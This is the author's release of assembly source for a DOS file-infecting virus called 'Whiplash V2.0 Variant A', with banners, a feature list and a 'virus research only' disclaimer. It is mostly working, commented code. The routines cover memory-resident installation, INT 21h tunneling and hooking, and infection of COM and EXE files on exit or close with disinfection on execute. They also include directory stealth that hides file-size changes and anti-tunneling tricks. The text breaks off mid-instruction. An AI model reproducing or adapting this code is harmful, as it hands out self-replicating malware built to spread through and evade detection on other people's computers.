; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Following you have the original article, spell checked, arranged ³ ; ³ and... with God's help, bug checked... ³ ; ³ ³ ; ³ Lord Julus - Feb. 1999 ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Comment $ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ±°²Û THIS SOURCE IS PROVIDED FOR VIRUS RESEARCH ONLY ! THE AUTHOR WILL Û²°² ±°²Û NOT BE RESPONSIBLE FOR ANY MISSUSE OF THIS SOURCE OR FOR ANY KIND Û²°² ±°²Û OF MODIFICATIONS BROUGHT BY SOMEBODY ELSE ! Û²°² ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß _-. .-_ _..-'( )`-.._ ./'. '||\\. (\_/) .//||` .`\. ./'.|'.'||||\\|.. )*.*( ..|//||||`.`|.`\. ./'..|'.|| |||||\``````` " '''''''/||||| ||.`|..`\. ./'.||'.|||| ||||||||||||. .|||||||||||| ||||.`||.`\. /'|||'.|||||| ||||||||||||{ }|||||||||||| ||||||.`|||`\ '.|||'.||||||| ||||||||||||{ }|||||||||||| |||||||.`|||.` '.||| ||||||||| |/' ``\||/` '\||/'' `\| ||||||||| |||.` |/' \./' `\./ |/\ /\| \./' `\./ `\| V V V }' `\ /' `{ V V V ` ` ` U ' ' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ W H I P L A S H ][ ³ ³ ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ³ ³ ³ ³ "In the the year of 1997, the Gods sought to test our steel... ³ ³ Struck down by deceivers whilst our backs were turned, ³ ³ we were left for Dead. But in the wake of confusion the ³ ³ fallen and the faithful did band together, to heal even ³ ³ stronger than before. This was seen by the Gods. For the ³ ³ prophecy of the Sacred King shall be fulfilled. We have ³ ³ risen up anew to drink the wine of vindication ! " ³ ³ ³ ³ ³ ³ ³ ³ Yes, boys and girls ! Yet another one from me ! this Time I ³ ³ choosed to call this baby Whiplash V2.0 Variant A. I will ³ ³ explain right away why: ³ ³ ³ ³ = Whiplash 1 sucked, but it was my first public source and ³ ³ I had some pretty neat ideea, therefore... ³ ³ = First of all the strategy of the virus is changed. In fact ³ ³ there's almost nothing left as in Whiplash 1. Now it ³ ³ infects on EXIT/CLOSING and disinfects on EXEC/OPEN. ³ ³ = Stealth on 11h/12h/4Eh/4Fh ( amazing, huh ? ;-) ) ³ ³ = Strange way to perform resident check ³ ³ = Even stranger way to mark the Time stamp: The infected ³ ³ files will have the second = (day+month) Div 2, plus a ³ ³ marker in the file to avoid coincidences ³ ³ = It uses SFT's to fasten up the process ³ ³ = Traces Int 21h ³ ³ = It's not destructive, it just has an annoying payload ³ ³ = A pretty neat decryptor using an Int to simulate a Loop ³ ³ = It avoids infecting some AV's and also it does not ³ ³ DISINFECT infected files if the current process is an ³ ³ archiver. ³ ³ = Directory Stealth is removed if disk utils are running ³ ³ ³ ³ I don't know where did you get this, but keep this in mind: ³ ³ ³ ³ - This Beta version is not tested in all circumstances ³ ³ - There is a bug not solved (infected EXE files hang after ³ ³ execution if the virus is not resident) ³ ³ - There are almost no armours whatsoever ³ ³ - There's no random involved in the encryption ³ ³ ³ ³ What you will have in the final version: ³ ³ ³ ³ + Retunnel if tunneled using Int 08 ³ ³ + Memory encryption ³ ³ + Random encryption ³ ³ + Bug free (with God's help) ³ ³ + Optimized code ³ ³ + Many anti AV-tricks I already have in mind ³ ³ ³ ³ And some final words: ³ ³ ³ ³ þ It's still Variant A because I save B for the polymorphic ³ ³ version and C for the multipartite one. ³ ³ ³ ³ þ And last, I am sick and tired to write this stuff so just ³ ³ go along and check out the source. It's fully commented. ³ ³ ³ ³ ³ ³ Enjoy this source ! ³ ³ Lord Julus - 1997 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ $ ; Assemble with TASM 3.2 /m3 /o /zi and ; link with TLINK 5.1 /t /x (from Borland Pascal 7.0 Kit) ; May the soul of whom uses MASM not rest in peace and wander forever... Dosseg ; the usual stuff .286 .model Tiny .Code .radix 16 Org 100h jumps ; take care of those jumps ! START: Call GET_BP DELTA: ; here is the delta offset Jc JUMP_YEAH ; this is another tricky jump GET_BP: ; here I get the Delta handler Mov ax, sp ; push the sp on the stack Push ax ; Pop si ; and take it in SI Mov bx, ss:[si] ; then get the current offset in BX Mov dx, Offset DELTA ; and get DELTA address in DX Sub bx, dx ; substract so we have alignement Stc ; set carry for tricky jump Retn ; and return to CALL JUMP_YEAH: Clc Jmp OVER TRICKY_ENTRY: ; This is the CS:IP in infected host Clc ; this tricky entry is good against Jnc START ; stupid heuristic scaners OVER: Mov bp, bx ; now I save the delta Cmp bp, 0 ; and look if it's first run Je START_VIRUS ; if so, run, Call DECRYPT_ME ; if not -> decrypt it ; The next line is unremovable. Check out the first lines of the payload ; routine. PINT: Mov word ptr cs:[bp + PATCH], 04CB4H ; this patch PATCH: Jmp START_VIRUS ; will turn this to mov ah,4ch Int 21h ; START_VIRUS: ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; ; Here starts the code that stays encrypted into the hosts ; ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; STARTCODE: Jmp OVERMARKER Marker1 Db 'WHIPLASH V.2.0 Beta release Variant A' Marker2 Db 'Written and compiled in Bucharest, Romania by Lord Julus' ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; ; Here we have the DATA AREA ; ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; virlen = ENDING - START ; virus length ; Virus length virus_size = ((2*virlen+50+15)+256)/16 ; memory needed for virus Oldint01 Dd 0 ; Old address for Int 01h Tunint21 Dd 0 ; Tunelled Int 21h Oldint21 Dd 0 ; Old Int 21h vector Oldint15 Dd 0 ; Old INT 15h handler M_strategy Dw 0 ; Memory strategy Umb_strategy Db 0 ; Upper Memory Block strategy Xms_offset Dw 0 ; Offset for XMS manager Xms_segment Dw 0 ; Segment for XMS manager A_s Db 0 ; Current status of allocation Oldpsp Dw 0 ; My PSP Errorh Dd 0 ; INT 24h handler Attrib Dw 0 ; Attributes Time Dw 0 ; Time Date Dw 0 ; Date Handle Dw 0 ; File handle Jump Db 0E9h ; Jmp OpCode Hostlen Dw 0 ; Length of COM host Address Dw 0 ; Jmpsave Dd 0 ; original CS:IP of EXE host Stacksave Dd 0 ; original SS:SP of EXE host Filesize Dd 0 ; filesize of EXE host Flag1 Db 0 ; Error flag Olddate Dw 0 ; useful when I restore the file Oldtime Dw 0 ; on disinfection and unmark it ! Endfile Db 128 Dup (0),0 ; I need this to create the name of the file ; that finishes execution File Db 125 Dup (0) ; again an address where I'll create a file name Compare_buf Db 46h Dup (0FFh) ; I use this to compare the file Db 0FFh,0FFh ; header to check for infection Buffer Db 0FFh,0FFh ; 0 (0) EXE file signature Db 0FFh,0FFh ; 2 (2) Length of file Db 0FFh,0FFh ; 4 (4) Size of file + header (512k) Db 0FFh,0FFh ; 6 (6) No. of relocation items Db 0FFh,0FFh ; 8 (8) Size of header (16byte para) Db 0FFh,0FFh ; A (10) Min para needed (16byte) Db 0FFh,0FFh ; C (12) Max para needed (16byte) Db 0FFh,0FFh ; E (14) SS reg from start in para. Db 0FFh,0FFh ; 10(16) SP reg at entry Db 0FFh,0FFh ; 12(18) checksum Db 0FFh,0FFh ; 14(20) IP reg at entry Db 0FFh,0FFh ; 16(22) CS reg from start in para. Db 0FFh,0FFh ; 18(24) Table offset Db 0FFh,0FFh ; 1A(26) Overlay Db 0FFh,0FFh ; 1C(28) Header stuff (LO) Db 0FFh,0FFh ; 1E(30) Header stuff (HI) Db 0FFh,0FFh ; 20(32) ...Now a bunch of crap Db 0FFh,0FFh ; 22(34) Db 0FFh,0FFh ; 24(36) Db 0FFh,0FFh ; 26(38) Db 0FFh,0FFh ; 28(32) Db 0FFh,0FFh ; 2A(34) Db 0FFh,0FFh ; 2C(36) Db 0FFh,0FFh ; 2E(38) Db 0FFh,0FFh ; 30(32) Db 0FFh,0FFh ; 32(34) Db 0FFh,0FFh ; 34(36) Db 0FFh,0FFh ; 36(38) Db 0FFh,0FFh ; 38(32) Db 0FFh,0FFh ; 3A(34) Db 0FFh,0FFh ; 3C(36) Db 0FFh,0FFh ; 3E(38) Db 0FFh,0FFh ; 40(32) Db 0FFh,0FFh ; 42(34) ...until here. Db 0FFh,0FFh ; 44(36) Here's the New Exe marker Db 0FFh,0FFh ; 46(38) OVERMARKER: Call PAYLOAD ; call to the graphical payload routine Push ds es di si ; now save the important registers Mov ax,1686h ; Do I have Dos Protected Mode ? Int 2Fh ; Or ax,ax ; if so... Jz FUCK_OFF ; ...no comment Mov ax, 5E00h ; this is the `already resident' ? Mov bx, 2222h ; check... Mov dx, 1111h ; i.e. a combination that will never occur Int 21h Cmp si, 0F0FAh Je ALREADY_HERE ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Process to remain resident ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Thanks Neurobasher for all the ideas involving UMB residency ! Push ds di si ; again save some registers Mov cs:[bp+Oldpsp], ds ; save my PSP Xor ax, ax Mov ds, ax ; First get all the Mov di, ds:[0413h] ; RAM available in kB and Shl di, 6 ; convert it into paragraphs Mov Byte Ptr cs:[bp+A_s], 0 ; set flag to NONE Mov ax, 5800h ; Get the Memory strategy Int 21h ; and save it Mov Word Ptr cs:[bp+M_strategy],ax ; for later Mov ax, 5802h ; Chain UMBs Int 21h ; Mov Byte Ptr cs:[bp+Umb_strategy],al ; and save Umb_strategy ; Set New MCB Alloc. strategy Mov ax, 5801h ; 80h = First fit Mov bx, 81h ; 81h = Best fit (used here !) Int 21h ; 82h = Last Fit Mov ax, 5803h ; Set new UMB Link State Mov bx, 1 ; and rechain UMBs Int 21h ; Jc REQUEST_XMS_MEM ; and now request XMS Mov es, cs:[bp+Oldpsp] ; Restore PSP and expand MCB Mov ah, 4Ah ; to maximum obtaining the total Mov bx, 0FFFFh ; available memory Int 21h Sub bx, virus_size + 1 ; Make MCB smaller Mov ah, 4Ah ; I just shrink to what I need Int 21h ; (substract virus_size + 1) Mov bx, virus_size ; Allocate memory for virus Mov ah, 48h Int 21h Mov es, ax ; ES = new virus segment Jc REQUEST_XMS_MEM ; request XMS Cmp ax, di ; DI = conventional RAM Jae UMB_DONE ; jump if greater (all ok!!) REQUEST_XMS_MEM: ; Takes UMB for the virus Mov ax, 4300h ; Checks if any XMS manager Int 2Fh ; is installed Cmp al, 80h ; 80h=Yes Jne NO_XMS ; otherwise go away ! Mov ax, 4310h ; Find Himem-EntryPoint (ES:BX) Int 2Fh ; and save it Mov cs:[bp+Xms_offset ], bx Mov cs:[bp+Xms_segment], es Mov ah, 10h ; Call Himem and check if Mov dx, 0FFFFh ; there exist a free XMS block Call Dword Ptr cs:[bp+Xms_offset] ; if BL = 0B0h then it's ok Cmp bl, 0B0h ; otherwise Jnz NO_XMS ; we have no free XMS block Mov ah, 10h Call Dword Ptr cs:[bp+Xms_offset] ; Call to see if XMS is free Or ax, ax ; AX = 0 means 'Not free' Jz NO_XMS ; AX = 1 means 'Free' Mov es, bx ; ES = BX = Segment of Blocks UMB_DONE: Mov Byte Ptr cs:[bp+A_s], 1 ; Mark UMB allocated Mov ax, es ; Marks virus as being owned Dec ax ; by the Operating System Mov ds, ax Xor si, si Mov Word Ptr ds:[si+1], 8 ; Mark as DOS's Mov ax, cs:[bp+Oldpsp] ; Restore MCB into DS Dec ax Push ax Cmp Byte Ptr ds:[si], 'Z' ; Is the virus the last MCB ? Pop ds ; Restore MCB Jnz LAST_MCB ; Jump if it's the last ! Mov Byte Ptr ds:[si], 'Z' ; Mark it as last otherwise Jmp Short DONEMCB ; and end process LAST_MCB: Mov ax, ds:[3] ; Get memory from the last MCB ! Add ax, virus_size + 1 ; by increasing with virus_size Mov ds:[3], ax ; and marking it DONEMCB: NO_XMS: Mov bx, Word Ptr cs:[bp+M_strategy] ; Now restore mem. allocation Mov ax, 5801h ; strategy Int 21h ; Mov bl, Byte Ptr cs:[bp+Umb_strategy]; And the UMB link status Mov bh, 0 ; as previously saved Mov ax, 5803h Int 21h Cmp Byte Ptr cs:[bp+A_s], 1 ; check if UMB is allocated Jz UMB_ALLOCATED ; and go away if so ! Mov ds, cs:[bp+Oldpsp] ; If not, get old PSP Push ds ; Pop es ; Mov ah, 4Ah ; and expand MCB to maximum Mov bx, -1 Int 21h ; BX=FFFFh -> Expand MCB Xor si, si ; and use the old way Mov ax, virus_size ; of shrinking to obtain Sub ds:[si+2], ax ; the proper size for the Sub bx, ax ; resident part Mov ah, 4Ah Int 21h Mov ax, ds ; DS=PSP Add ax, bx ; BX=MCB for Virus Mov es, ax Mov Word Ptr es:[1], -1 Inc ax ; AX = PSP for virus Mov es, ax ; ES = PSP for virus Mov ax, ds ; Mark the current MCB as last Dec ax ; in the MCB-Chain Mov ds, ax Mov Byte Ptr ds:[si], 'Z' UMB_ALLOCATED: Push cs ; Copy virus to memory Pop ds ; Lea si, [bp+START] ; DS:SI = source address Mov di, Offset START ; ES:DI = destination address Mov cx, virlen Cld Repz Movsb Pop si di ds ; Restore registers ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; End of the "REMAIN RESIDENT" process ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ;============================================================================= ; And from this moment, ES = the new segment where virus is resident ;============================================================================= Call TUNNEL ; A call to the tunneling routine Call HOOK ; A call to the hooking routine Call TRANSFER ; A call to the routine to transfer addresses Jmp FUCK_OFF ; This is the exit ;[===========================================================================] ;[ This routine tunneles thru INT 21h and saves the addresses ] ;[===========================================================================] TUNNEL: Pusha ; save again... Push ds es si di bp Xor ax, ax ; make DS = 0000 Mov ds, ax Mov ax, Word Ptr ds:[4] ; and get Int01 offset Mov Word Ptr cs:[bp + Oldint01], ax ; and save it, Mov ax, Word Ptr ds:[6] ; as well as the segment Mov Word Ptr cs:[bp + Oldint01+2], ax ; save it too. Xor ax, ax Mov ds, ax Cli Lea ax, [bp + Offset INT01] ; get my Int01 offset and Mov Word Ptr ds:[4], ax ; put it in the int's table Mov Word Ptr ds:[6], cs ; together with the CS Sti ; Call DO_THE_TUNNEL ; this is the call to tunnel Xor ax, ax ; now I have to restore Mov ds, ax ; INT 01 vector Cli Mov ax, Word Ptr cs:[bp + Oldint01] ; from where I saved it Mov Word Ptr ds:[4], ax Mov ax, Word Ptr cs:[bp + Oldint01+2] Mov Word Ptr ds:[6], ax Sti ; and restore interrupts Pop bp di si es ds ; and restore crap... Popa Ret ; Return from the tunneler DO_THE_TUNNEL: ; the real tunneler Xor ax, ax ; DS = 0000 Mov ds, ax Mov ax, Word Ptr ds:[21h*4] ; and get Int01 offset Mov Word Ptr cs:[bp + Tunint21], ax ; and save it, Mov ax, Word Ptr ds:[21h*4+2] ; as well as the segment Mov Word Ptr cs:[bp + Tunint21+2], ax ; save it too. Pushf ; save real flags Pushf ; save flags to get them in AX Pop ax ; (same as LAHF) Or ah, 1 ; set trace flag on Push ax ; push ax Popf ; and get flags with TF set Mov ah, 019h ; random DOS call Pushf Call Dword Ptr ds:[(021h*4)] ; Simulate interrupt call Popf ; restore real flags Ret ; ...and over. INT01: ; This is INT 01 handler Push di ; save DI Mov di, sp ; and make it point the stack Push ax Mov ax, ss:[di+4] ; and take CS off the stack Cmp ax, Word Ptr cs:[bp+Tunint21+2] Jae NOT_YET Mov Word Ptr cs:[bp + Tunint21+2], ax ; here I save CS Mov ax, Word Ptr ss:[di+2] ; here I get IP Mov Word Ptr cs:[bp + Tunint21], ax ; and I save IP NOT_YET: Pop ax Pop di Iret ;[========================= End of tunneling routine ========================] ;[===========================================================================] ;[ This routine hooks the interrupts ] ;[===========================================================================] HOOK: Pusha Push es ds Cli Xor ax,ax ; now hook the int 21h Mov ds,ax ; ds=0000 Mov ax, Word Ptr ds:[21h*4] ; get INT 21h address Mov Word Ptr es:[Oldint21], ax ; Mov Word Ptr cs:[bp + Oldint21], ax ; Mov ax, Word Ptr ds:[21h*4+2] ; Mov Word Ptr es:[Oldint21+2], ax ; Mov Word Ptr cs:[bp + Oldint21+2], ax ; Lea ax, [bp + offset INT21H] ; and set up new interrupt 21H sub ax, bp Mov bx,21h*4 ; Mov Word Ptr ds:[bx],ax ; the offset... Mov ax,es Mov Word Ptr ds:[bx+2],ax ; and the segment = ES Sti Pop ds es Popa Ret ;[============ End of hooking routine =======================================] ;[===========================================================================] ;[ This routine transfers addresses from CS to ES ] ;[===========================================================================] TRANSFER: Pusha Push ds es Cli Mov ax, Word Ptr cs:[bp+Tunint21] ; now all I do is transfer Mov Word Ptr es:[Tunint21], ax ; the data in the addresses Mov ax, Word Ptr cs:[bp+Tunint21+2] ; stored in the current CS Mov Word Ptr es:[Tunint21+2], ax ; to the ones in the ES, Sti ; enable interrupts Pop es ds Popa Ret ;[=============== End of transfer routine ===================================] ALREADY_HERE: FUCK_OFF: Pop si di es ds ; now restore registers ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Here I give back command to the host program ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² RUN_ORIGINAL: Mov di, Word Ptr cs:[bp + Offset Buffer] ; is it an EXE file? Cmp di, 5A4Dh ; Je EXIT_EXE ; It's an EXE file... Cmp di, 4D5Ah ; Je EXIT_EXE ; It's an EXE file... Cmp bp, 0 ; is this the first run? Jne COM_EXIT Mov ax, 4C00h call dos_int_21 COM_EXIT: Mov ax, Word Ptr cs:[bp+Buffer] ; put back the 6 bytes I destroyed Mov Word Ptr cs:[100h], ax ; in the com file Mov ax, Word Ptr cs:[bp+Buffer+2] ; at address 100h, Mov Word Ptr cs:[102h], ax ; at address 102h, Mov ax, Word Ptr cs:[bp+Buffer+4] Mov Word Ptr cs:[104h], ax ; and at 104h Xor bx, bx ; now zero the registers Xor dx, dx Xor cx, cx Xor di, di Xor si, si Xor bp, bp Push cs Pop ds Push cs Pop es Mov ax, 0FFh Inc ax ; FFh + 1 = 100h Jmp ax ; and jump to 100h to execute it EXIT_EXE: Mov ax, es ; Get the PSP, Add ax, 10h ; add 16 Mov dx, ax ; and save it in DX Add ax, Word Ptr cs:[Jmpsave+2][bp] ; Get ORIGINAL CS Add dx, Word Ptr cs:[Stacksave+2][bp] ; Get ORIGINAL SS Mov bx, Word Ptr cs:[Jmpsave ][bp] ; Get ORIGINAL IP Mov Word Ptr cs:[JUMPNOW][bp], bx ; Put IP Mov Word Ptr cs:[JUMPNOW+2][bp], ax ; Put CS Mov ax, Word Ptr cs:[Stacksave][bp] ; Get ORIGNAL SP Mov Word Ptr cs:[MAKESTACK1][bp], dx ; Put SS Mov Word Ptr cs:[MAKESTACK2][bp], ax ; Put SP Jmp $+2 ; a delay Jmp $+2 ; to settle things Db 0B8h ; This is MOV AX,XXXX MAKESTACK1: ; and XXXX = the value I inserted above into Dw 0 ; this line here. Cli ; Disable Interrupts Mov ss,ax ; Restore now old SS register Db 0BCh ; This is MOV SP,YYYY MAKESTACK2: ; where YYYY is the value I inserted above into Dw 0 ; this line here. Sti ; Enable Interrupts Xor ax, ax ; zero the registers too Xor bx, bx Xor dx, dx Xor cx, cx Xor bp, bp Xor di, di Xor si, si Db 0EAh ; This is a JMP AAAA:BBBB at original host JUMPNOW: Dd 0 ; Here's where I insert the AAAA and BBBB ; values (i.e. the host's original CS:IP) ;End of `Run original' routines ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; This procedure calls the original Dos/Bios INT 21h ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² DOS_INT_21: Pushf ;here I invoke the Call Dword Ptr cs:[Tunint21] ;original INT 21h (in the DOS seg.) Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; HANDLER FOR THE INT 21H ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² INT21H: ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ;+ Anti tracing / tunneling follows + ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Push ax bx si ; preserve the registers Mov ax, 1111h Push ax ; put AX on stack Mov si, sp ; get Stack pointer into Si Pop ax ; take AX off the stack Mov bx, Word Ptr ss:[si] Cmp bx, ax ; and see if an INT occured. Jne FUCKING_TUNNELER ; Someone's tunneling me !! Pop si bx ax ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ;+ The INT 21 checks begin here + ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Cmp ax, 5E00h ; here I look up for the resident check Jne NO_CHECK Cmp bx, 2222h Jne NO_CHECK Cmp dx, 1111h Jne NO_CHECK Mov si, 0F0FAh Iret NO_CHECK: Cmp ah, 4Ch ; is it a DOS EXIT ? Je FILE_ENDING ; then try to infect file on exit Cmp ah, 4Bh ; is a file about to be executed ? Je EXEC_FILE ; try to disinfect it first ; On some Versions of Windows 95 the next 2 lines may hang the computer. ; If so, remove them, but virus' strenght will decrease ! I have no ideea ; why this happenes ! I think it's just Microsoft which sux ! ; Cmp ah, 3Dh ; a file is to be opened using handler ? ; Je OPEN_FILE_HANDLER ; try to disinfect it first Cmp ah, 6Ch ; a file is to be opened using the Je OPEN_FILE_EXTENDED ; extend open ? -> disinfect ! Cmp ah, 3Eh ; is a file about to be closed, using Je CLOSE_FILE_HANDLER ; handler ? If so, check it and infect ! Cmp ah, 31h ; going resident ? Je FILE_GOING_RESIDENT ; infect before, please ! cmp ah, 11h ; these handle the dir stealth je hideme1 ; using the FCB method cmp ah, 12h je hideme1 cmp ah, 4eh ; and these handle the dir stealth je hideme2 ; using the FIND FIRST / NEXT cmp ah, 4fh ; method je hideme2 INT21ORIG: Jmp Dword Ptr cs:[Oldint21] ; jmp to original int 21h Ret ; (the one in the chain, not tunneled) FUCKING_TUNNELER: ; here I'll try to mess up the ; tunneler Pop si bx ax Mov ax, 3 ; by trying to set an error Stc Iret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; DIRECTORY STEALTH ROUTINES ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² HIDEME1: Pushf Call Dword Ptr cs:[Oldint21] ;get dir entry Test al,al ;now test Js DIR_STEALTH_DONE ;no need ! Push ax bx cx dx es ;save registers Mov ah,2Fh ;get DTA Int 21h Cmp Byte Ptr es:[bx],-1 ; check for extended FCB Jne NO_EXT_FCB ; no case! Add bx,7 ; add if it is extended FCB NO_EXT_FCB: Mov cx, es:[bx + 16h] ; get time Mov dx, es:[bx + 14h] ; get date Call CHECK_STAMP ; check the stamp formula Jc DIR_FIXED ; not infected ! Mov ax, (Offset ENDING - Offset START) ;check if it's not just Cmp ax, Word Ptr es:[bx + 1Dh] ;a coincidence... Jg DIR_FIXED ;substr. size of my vir. Sub Word Ptr es:[bx + 1Dh], (Offset ENDING - Offset START) Sbb Word Ptr es:[bx + 1Fh], 0 DIR_FIXED: Pop es dx cx bx ax ;restore DIR_STEALTH_DONE: Iret HIDEME2: ;this is much like Hideme1 Pushf Call Dword Ptr cs:[Oldint21] Jc DIR_STEALTH_DONE_2 CHECK_INFECT2: Push ax bx cx dx es Mov ah, 2Fh ; get DTA Int 21h Mov cx, es:[bx + 16h] ; and check the stamp Mov dx, es:[bx + 18h] Call CHECK_STAMP Jc FIXED_2 Mov ax, (Offset ENDING - Offset START) Cmp ax, es:[bx + 1Ah] Jg FIXED_2 Sub es:[bx + 1Ah], (Offset ENDING - Offset START) Sbb Word Ptr es:[bx + 1Ch],0 FIXED_2: Pop es dx cx bx ax Clc ; clear carry DIR_STEALTH_DONE_2: Retf 2 ;.---------------------------------------------------------------------------. ;| In this area I handle the file exits (4Ch / 31h) | ;`---------------------------------------------------------------------------' ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Handles exit via 4Ch and infects the program that exits to DOS ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² FILE_ENDING: Pusha Push ds es di si bp Call GETNAME ; get the name of the current process Jc ERROR_1 ; error ! Call CHECKNAME ; check if name is OK (EXE/COM) Jnc ERROR_1 ; if not, exit ! Call checkfile ; check the name now jc error_1 Mov ax, 3D02h ; now open the file Call DOS_INT_21 ; (always using the tunneled INT 21h) Jc ERROR_1 Mov bx, ax ; save it's handle Call INFECT_CLOSING ; and call the infection procedure Mov ah, 3Eh ; and then close the file Call DOS_INT_21 ERROR_1: Pop bp si di es ds Popa Jmp INT21ORIG ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Handles exit via 31h (TSR) and infects the program that goes resident ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² FILE_GOING_RESIDENT: Pusha Push ds es di si bp Call GETNAME ; get the name of the current process Jc ERROR_2 ; error ! Call CHECKNAME ; check if name is OK Jnc ERROR_2 ; if not exit ! Call checkfile ; check the name now jc error_1 Mov ax, 3D02h ; now open the file Call DOS_INT_21 Jc ERROR_2 Mov bx, ax ; save it's handle Call INFECT_CLOSING ; and call the infection procedure Mov ah, 3Eh ; and then close the file Call DOS_INT_21 Jc ERROR_2 ERROR_2: Pop bp si di es ds Popa Jmp INT21ORIG ;.---------------------------------------------------------------------------. ;| In this area I handle the file execution | ;`---------------------------------------------------------------------------' ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Handles opened files via Int 21h / 4Bh ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² EXEC_FILE: Pusha Push ds es di si bp Call DISINFECT ; simply disinfect the file Pop bp si di es ds Popa Jmp INT21ORIG ; and run it uninfected ! ;.---------------------------------------------------------------------------. ;| In this area I handle the file closings | ;`---------------------------------------------------------------------------' ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; Handles closing files via Int 21h / 3Eh ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² CLOSE_FILE_HANDLER: Cmp bx,4h ; file handler > 4? Ja CLOSE_CONT ; jmp if above (means it's a file) Jmp INT21ORIG ; else exit CLOSE_CONT: Pusha Push si di es ds Push bx ; save file handler for later Mov ax,1220h ; get job file table! (JFT) Int 2Fh ; call multiplex ; es:di=JFT for handler Mov ax,1216h ; get system file table Mov bl,Byte Ptr es:[di] ; bl=SFT entry Int 